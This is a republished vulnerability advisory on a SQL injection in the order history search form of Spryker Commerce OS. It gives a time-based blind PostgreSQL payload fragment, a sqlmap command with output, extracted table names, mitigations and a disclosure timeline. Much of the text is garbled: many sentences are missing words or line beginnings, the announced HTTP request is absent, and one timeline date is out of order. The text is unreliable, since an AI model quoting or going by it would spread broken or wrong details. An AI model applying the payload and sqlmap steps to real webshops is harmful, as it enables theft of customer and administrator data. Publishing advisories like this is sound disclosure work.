Published on May 9th, 2023 📆 | 6759 Views ⚑0
Spryker Commerce OS 1.0 SQL Injection – Torchsec
SCHUTZWERK-SA-2023-001: SQL Injection in Spryker Commerce OS
Spryker Commerce OS by Spryker Systems GmbH, with spryker/sales:
or spryker-feature/order-management: 202009.0-202212.0
An SQL injection vulnerability affecting Spryker-based webshops was
in the order history search form. It can be exploited by authenticated
attackers in order to retrieve informationen from the database (e.g.
and administrator login information, order details, etc.). Depending on the
configuration of the webshop, access to the file system or even execution of
arbitrary commands on the database management system is possible.
Attackers with valid credentials for Spryker-based webshops are able to
an SQL injection vulnerability in the order history search form. This allows
full access to the application’s database and the data stored within it.
database will generally contain -- among other information -- personally
identifiable information. Disclosure of such data could lead to reputation
damage for the webshop's owner. In addition, the vulnerability might
legal risks regarding General Data Protection Regulation (GDPR).
Depending on the configured authentication methods, the database will also
contain login information of customers and administrators.
information (i.e. username and password hash) could enable attackers to
their privileges and access the shop's backend, where administrative actions
can be performed. In combination with the vulnerability described in
SCHUTZWERK-SA-2022-003/CVE-2022-28888 , remote command execution
be feasible from this position if access to the required environment
is possible. The login information of customers could be abused by
for example if credentials are re-used across different services.
Depending on the DBMS (database management system) in use, write access
database could theoretically also be possible. In this case, attackers can
create new users and grant them administrative privileges, again
privilege escalation. Also, once more depending on the DBMS, reading and
writing files on the file system of the DBMS or even direct execution of
arbitrary system commands could be possible.
The vulnerability can be easily detected, even through automated
trivially exploited using tools such as sqlmap .
Structured Query Language, abbreviated as SQL, is a standardized programming
language for managing data held in a relational database management
performing various operations on the data stored in them. SQL injection
vulnerabilities occur when attacker-controlled data is embedded unchecked in
SQL queries. Such vulnerabilities allow attackers to bypass restrictions
application logic and issue manipulated queries to the database server.
Depending on various factors (database management system used, database user
permissions, etc.), it may be possible to read, modify and delete data and
compromise the database or application server.
The Spryker-based webshop examined as part of a customer assessment
order history with a list of orders that have been placed in the past. While
testing this function, it was observed that a server-side error
triggered when a single quotation mark (') was placed in the search term
The HTTP request that triggered this error condition is the following
(URL-decoded and shortened for increased readability):
If the search term is instead comprised of two single quotation marks, the
server does not return an error message and successfully completes the
This behavior with respect to the single quotation mark is often an
of SQL injection vulnerabilities. As a next step, the sqlmap  utility was
used to partly automate the verification and exploitation phase:
% cat search.req
% sqlmap -r search.req --force-ssl --current-db
[10:37:12] [INFO] parsing HTTP request from 'search.req'
custom injection marker ('*') found in option '-u'. Do you want to
process it? [Y/n/q]
[10:37:12] [INFO] testing connection to the target URL
Parameter: #1* (URI)
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
=all&orderSearchForm[searchText]=test')) AND 2882=(SELECT 2882 FROM
[10:37:14] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL (CockroachDB fork)
[10:37:14] [INFO] fetching current database
current database (equivalent to schema on PostgreSQL): 'public'
The URL parameter orderSearchForm[searchText] was marked with an asterisk in
the request to force sqlmap to focus on this parameter. sqlmap confirmed the
vulnerability and successfully extracted the name of the current database as
"public". Time-based blind SQL injection vulnerabilities are notoriously
to exploit. Nonetheless, it was still possible to extract the following
tables contained in the current database:
| spy_acl_group |
| spy_acl_group_archive |
| spy_acl_groups_has_roles |
| spy_acl_role |
| spy_acl_role_archive |
| spy_acl_rule |
| spy_acl_rule_archive |
| spy_acl_user_has_group |
| spy_auth_reset_password |
| spy_auth_reset_password_archive |
| spy_availability |
| spy_availability_abstract |
| spy_availability_storage |
Using the same method, access to the content of the different database
Updated versions of the affected modules have been released by the
should be applied.
In general, the following mitigation measures apply to SQL injection
It is recommended to use so-called prepared statements with parameterized
queries. With this mechanism, user input is strictly separated from the
SQL query. It is then processed only as a string and not as part of the SQL
query. This makes it impossible for an attacker to modify the query itself.
The entire code base should be audited to determine at which other endpoints
SQL queries are generated and used. This should be followed by a
prepared statements. The adaptation should be prioritized based on the risk.
For example, the risk of successful exploitation is significantly higher
login screen than in an administrative function that is not visible to
users of the application. Accordingly, the source code of the exposed
should be adapted first.
In some cases, parameterized queries cannot be used, for example, when
fields addressed by the query are dynamic. In such cases, frameworks,
APIs, or the programming language itself provide functions that mask the
appropriately so that they can be embedded in queries in a safe way. The SQL
injection security guidelines  of Spryker should also be considered.
Additional guidelines and recommendations regarding SQL injection are
in the SQL Injection Prevention Cheat Sheet  of OWASP.
2022-11-25: Vulnerability discovered as part of assessment for customer
2022-12-23: Vulnerablity details sent to vendor, vendor could not open
due to S/MIME-related issues
2023-01-09: Vulnerability details sent to vendor in PGP-encrypted form
2023-01-09: Vendor acknowledges receipt of report
2023-01-12: Vendor requests additional information related to customer's
configuration, SCHUTZWERK provides requested information
2023-01-13: Vendor requests additional information related to customer's
2023-01-16: SCHUTZWERK provides requested information
2023-02-16: Vendor informs SCHUTZWERK that they can reproduce the
vulnerability and that a fix is in progress
2022-02-28: Vendor confirms that customers were notified about the
2023-04-19: Vendor informed of intent to pushlish
2023-04-20: Advisory published by SCHUTZWERK
The vulnerability was discovered during an assessment by David Brown of
The information provided in this security advisory is provided "as is" and
without warranty of any kind. Details of this security advisory may be
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH's website
( https://www.schutzwerk.com ).
-----BEGIN PGP SIGNATURE-----
-----END PGP SIGNATURE-----
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
[email protected] / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz